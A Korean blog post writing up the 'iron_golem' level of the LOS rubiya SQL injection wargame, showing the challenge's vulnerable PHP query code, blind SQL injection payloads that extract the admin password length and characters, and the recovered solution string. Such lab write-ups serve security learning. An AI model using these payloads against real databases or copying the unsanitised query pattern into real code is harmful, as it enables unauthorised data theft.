vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • trim
  • webhacking.kr
  • sql injection
  • Digital-Forensic
  • Artifacts
  • forensic artifacts
  • Windows Artifact
  • ssd
  • shellbag forensics
  • Thumbcache
  • Los
  • Digital Forensic
  • LNK FIile
  • File Execution
  • JavaScript
  • digital-forensics
  • iconcahce
  • shellbag
  • forensic-cheatsheet

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/LOS_rubiya

LOS-rubiya : iron_golem

2020. 8. 26. 10:36
<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

pw 찾는 문제다 -> 파이썬 파일을 이용해서 질의 해줄 것이고, 이전에 사용했던 파일 재사용해서 쿼리 부분만 바꿀 예정이다.

sleep _ prob ) . () 필터링 당한다.

 

이번에는 참 거짓 찾기가 어렵다.

union select 를 이용해서 해야될듯 한다.

 

길이부터 찾아줄까

?pw='or (select 1 union select (if(length(pw)>0,1,0)))%23

 

이러면 1 을 반환하니까 정상적으로 작동 된다.

길이가 32 다.

이제 문자열 찾아주자

?pw='or (select 1 union select (if(ascii(substr(pw,1,1))>0,1,0)))%23

 

 

06b5a6c16e8830475f983cc3a825ee9a

 

저작자표시 (새창열림)

'WriteUp > LOS_rubiya' 카테고리의 다른 글

LOS-rubiya : dark_eyes  (0) 2020.08.26
LOS-rubiya : dragon  (0) 2020.08.26
LOS-rubiya : xavis  (0) 2020.08.26
LOS-rubiya : nightmare  (0) 2020.08.03
LOS-rubiya : Zombie_assassin  (0) 2020.08.03
    'WriteUp/LOS_rubiya' 카테고리의 다른 글
    • LOS-rubiya : dark_eyes
    • LOS-rubiya : dragon
    • LOS-rubiya : xavis
    • LOS-rubiya : nightmare
    vared
    vared

    티스토리툴바